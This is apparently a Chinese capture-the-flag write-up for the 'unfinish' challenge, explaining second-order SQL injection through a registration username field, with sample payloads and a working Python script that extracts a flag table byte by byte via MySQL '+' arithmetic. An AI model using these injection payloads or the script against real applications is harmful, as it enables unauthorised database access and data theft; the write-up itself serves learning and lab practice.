攻防世界 unfinish
- 题目描述:sql注入
- 访问进去是个登录页面
- dirsearch扫描了一下
- 访问register.php
- 注册了个账号 登录进去好像没什么用 返回登录页面
- 但是 这里我想到了一个注入方式 在我写sql注入基础知识的时候提到过 但是 没有仔细研究
二次注入
- 这里注入的点应该是在
register.php
页面中的name中 - 因为邮箱和密码还需要登录时候使用
- 具体可以看我前面的文章
- 单引号注册失败了 于是我将用户名改为
root' and '1
这里注册成功了 - 也就是说这里的闭合方式应该是单引号闭合 且没有我之前学的addslashes()这些转义
- 这个时候登录进去了 用户名为0
- 所以这里必然是存在sql注入的 但是我在尝试注册name为
1' union select 1,database()#
的时候 - 也面返回了一个
nnnnoooo!!!!
也就是 这里还存在一个过滤???? - 所以需要用burpsuit fuzz一下
- 过滤了很多东西
information_schema
被过滤掉我属实没想到 完全不知道怎么搞了 - 无奈wp
- 附上大佬的做题脚本
import requests
import reregister_url = 'http://111.200.241.244:45701/register.php'
login_url = 'http://111.200.241.244:45701/login.php'for i in range(1, 100):register_data = {'email': '111@123.com%d' % i,'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,'password': 'admin'}res = requests.post(url=register_url, data=register_data)login_data = {'email': '111@123.com%d' % i,'password': 'admin'}res_ = requests.post(url=login_url, data=login_data)code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)print(chr(int(code.group(1))), end='')
- 下面是自己的理解
- 既然是用户名处可以进行二次注入 并且
information_schema
被过滤了 想利用union注入肯定是不行的了 - 在mysql中
+
号的作用就是将字符转化为数字相加
'1' + '1a' # 2
'0' + database() # 0
'0' + substr(database(),1,1) # 100 则database()的第一个字符的ascii值就为100
- 所以核心的注入代码就是
"0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
- 之后通过正则去获取login.php页面的用户名值就是flag每一位的ascii码值
- 我要补充mysql知识了 以前学的做现在的题目完全不够用…
攻防世界 unfinish相关推荐
- 攻防世界-web高手进阶区
文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...
- 【攻防世界001】Guess-the-Number
攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...
- 攻防世界(pwn)--Mary_Morton 利用格式化字符串+栈溢出破解Canary的保护机制
ctf(pwn) canary保护机制讲解 与 破解方法介绍 程序执行流程 有三个选项,1是利用栈溢出,2是利用格式化字符串,3是退出;可连续输入多次; IDA分析 解题思路 程序存在canary保护 ...
- 攻防世界(Pwn) forgot---栈溢出;(方法二)
攻防世界(Pwn) forgot-栈溢出:(方法一) 里面对问题描述的更详细一点 返回目标函数 0x80486CC 方法二(爆破流) 因为最终返回的是 v3[0]-v3[9] 之中的一个函数, v3[ ...
- 攻防世界(Pwn) forgot---栈溢出;(方法一)
攻防世界(Pwn) forgot-栈溢出:(方法二) 介绍 这道题表面看起来有点复杂,其实很简单,有两种方法可以来做这一道题; 方法一(精确打击) 文件运行流程是: 1.先输入名字 2. 输入一串字符 ...
- 攻防世界misc新手_[攻防世界]mobile新手练习区easy-apk
[攻防世界]mobile新手练习区easy-apk easy-apk最佳Writeup由129师386旅独立团 • devi1提供 难度系数: 7.0 题目来源: 暂无 题目描述:无 题目场景: 暂无 ...
- 攻防世界 ——crypto
目录 新手区部分题解: 1,easy_RSA 2,Normal_RSA 3, 幂数加密 4,easy_ECC 高手进阶区部分题题解 5, ENC 6,告诉你个秘密 7,Easy-one 8,说我作弊需 ...
- 攻防世界———MISC 高手区题解
目录 1,base64stego 2,easycap 3,Avatar 4,What-is-this 5,签到题 6,Training-Stegano-1 7,Excaliflag 8,Get-the ...
- 攻防世界 web(二)
这周接着刷攻防世界的web题( ̄︶ ̄)↗ 1.command_execution 看提示这题为命令执行漏洞(command_execution),关于命令执行漏洞,我前面有篇博客详细介绍了,大家不了解 ...
最新文章
- mongodb php 存储文件大小,PHP MongoDB GridFS 存储文件的方法详解
- jd-eclipse反编译插件的离线安装和使用
- 快速排序算法javascript实现
- boost::test模块混洗下运行的单元测试的测试顺序
- nullptr/nullptr_t
- linux 命令 全程,linux命令及全程详解
- [优先队列][堆] Luogu P4505 组合子逻辑
- python关于字符串的内置函数_Python 字符串内置函数(二)
- imagej之Python脚本
- RAID阵列及常用RAID
- PhpSpreadsheet如何读取excel文件
- html文件文本预处理,HTML文件文本信息预处理技术.pdf
- android手机陀螺仪传感器,10.12 传感器专题(3)——加速度/陀螺仪传感器
- web开发入门,css背景图片自适应屏幕宽度
- 从问题描述到电子运转 思维导图 《计算机系统概论》
- 如何应对“改变现状”的失败
- mysql 5.7.31 忘记root密码怎么修改密码并实现远程登录
- Leetcode-892. 三维形体的表面积
- UG NX安装包大集合(包括UG目前发布的所有版本)
- 数据压缩第二周作业——图片TIFF格式分析
热门文章
- 永磁同步风力发电机并网逆变器设计 风机并网:发电机采用PMSG,变换器采用:双PWM变流器
- 计算机硬件拆装步骤图文,06图解HPPaviliondv7笔记本电脑的拆机过程.doc
- 【机器视觉】工业4.0时代之CCD视觉自动检测的高效冲压自动化效率有多高?
- 文献阅读:深度学习模型利用生物医学文本上下文关系进行命名实体识别
- VUE实现checkBox至少选择一个并提示
- AGX硬盘无法识别:error mounting /dev/sda1 at /media/nvidia/T7:unknow filesystem type ‘exfat‘
- 2021年顺义区支持企业智能转型升级项目申报条件及要求,补贴1000万
- Host a Ghost Blog on Heroku
- java导出doc和docx
- 时间序列分析之AR、MA、ARMA和ARIMA模型